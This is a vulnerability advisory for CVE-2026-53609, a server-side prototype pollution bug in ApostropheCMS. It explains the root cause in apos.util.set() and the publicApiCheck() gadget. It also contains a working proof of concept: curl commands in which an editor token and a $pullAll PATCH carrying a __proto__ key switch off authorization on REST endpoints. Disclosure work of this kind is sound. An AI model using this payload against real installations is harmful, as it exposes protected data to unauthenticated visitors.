CVE-2026-53609

apos.util.set() traverses dot-notation paths without sanitizing __proto__, allowing an authenticated editor to write arbitrary values to Object.prototype via the $pullAll patch operator.

A confirmed gadget in publicApiCheck() causes this to bypass authorization on all piece-type REST API endpoints for every subsequent unauthenticated request, for the lifetime of the Node.js process.

Details

Root Cause, apos.util.set() (modules/@apostrophecms/util/index.js ~line 800)

The function splits a dot-notation path and traverses properties without rejecting __proto__, constructor, or prototype:

set(o, path, v) {
  path = path.split('.');
  for (i = 0; i < path.length - 1; i++) {
    o = o[path[i]];   // when path[i] === '__proto__', o becomes Object.prototype
  }
  o[path[i]] = v;     // mutates Object.prototype
}

Source, implementPatchOperators() (modules/@apostrophecms/schema/index.js ~line 1737)

User-controlled keys from the $pullAll operator are passed directly to apos.util.set():

_.each(patch.$pullAll, function(val, key) {
  cloneOriginalBase(key);               // uses _.has (hasOwnProperty)
  self.apos.util.set(patch, key, ...);  // key is fully attacker-controlled
});

cloneOriginalBase() does not sanitize __proto__ because _.has() performs an own-property check. Since __proto__ is inherited rather than an own property, the clone step is skipped and execution falls through to apos.util.set().

The same unsanitized call also appears for direct dot-notation keys in the PATCH body (~line 1811), providing a second independent entry point.

Gadget, publicApiCheck() (modules/@apostrophecms/piece-type/index.js ~line 1148)

publicApiCheck(req) {
  if (!self.options.publicApiProjection) {
    if (!self.canAccessApi(req)) {
      throw self.apos.error('notfound');
    }
  }
}

Once Object.prototype.publicApiProjection is set to any truthy value (for example []), every module instance inherits it.

Because JavaScript property lookup resolves inherited properties from Object.prototype, the condition:

!self.options.publicApiProjection

evaluates to false for all modules.

As a result, the authorization check is skipped for every subsequent request handled by the process.

Proof of Concept

Environment: ApostropheCMS v4.30.0, Node.js, MongoDB

Prerequisites: Editor-level credentials

Step 1, Confirm Endpoint Is Protected (Unauthenticated)

curl -s http://localhost:3000/api/v1/@apostrophecms/user

Response:

{"name":"notfound","data":{},"message":"notfound"}

Step 2, Obtain Editor Token

TOKEN=$(curl -s -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \
  -H "Content-Type: application/json" \
  -d '{"username":"editor","password":"..."}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

Step 3, Poison Object.prototype via $pullAll

curl -X PATCH "http://localhost:3000/api/v1/@apostrophecms/global/{docId}:en:draft" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -H "Cookie: apos-testapp.csrf=csrf" \
  -H "X-XSRF-TOKEN: csrf" \
  -d '{"$pullAll":{"__proto__.publicApiProjection":[]}}'

Response:

HTTP/1.1 200 OK

Step 4, Authorization Bypass Confirmed (Unauthenticated)

curl -s http://localhost:3000/api/v1/@apostrophecms/user

Response:

{"pages":0,"currentPage":1,"results":[]}

The endpoint now returns a valid paginated response instead of notfound.

No credentials are supplied.

Execution passes publicApiCheck() and reaches query processing. The empty result set reflects document-level visibility filtering; the authorization gate itself has been bypassed.

Cleanup

The pollution persists until the Node.js process is restarted.

Vulnerability Type

Server-Side Prototype Pollution leading to Authorization Bypass (CWE-1321)

Who Is Impacted

Any ApostropheCMS installation where at least one editor-level account exists.

This is the default configuration for multi-user CMS deployments.

Security Impact

A single PATCH request from an editor permanently modifies authorization behavior for the entire Node.js process.

All subsequent unauthenticated requests to piece-type REST API endpoints bypass publicApiCheck().

Verified affected endpoints include:

• @apostrophecms/user
• @apostrophecms/global

Based on the shared authorization implementation, other piece-type REST endpoints appear similarly affected.

The bypass affects every unauthenticated visitor until the server is restarted.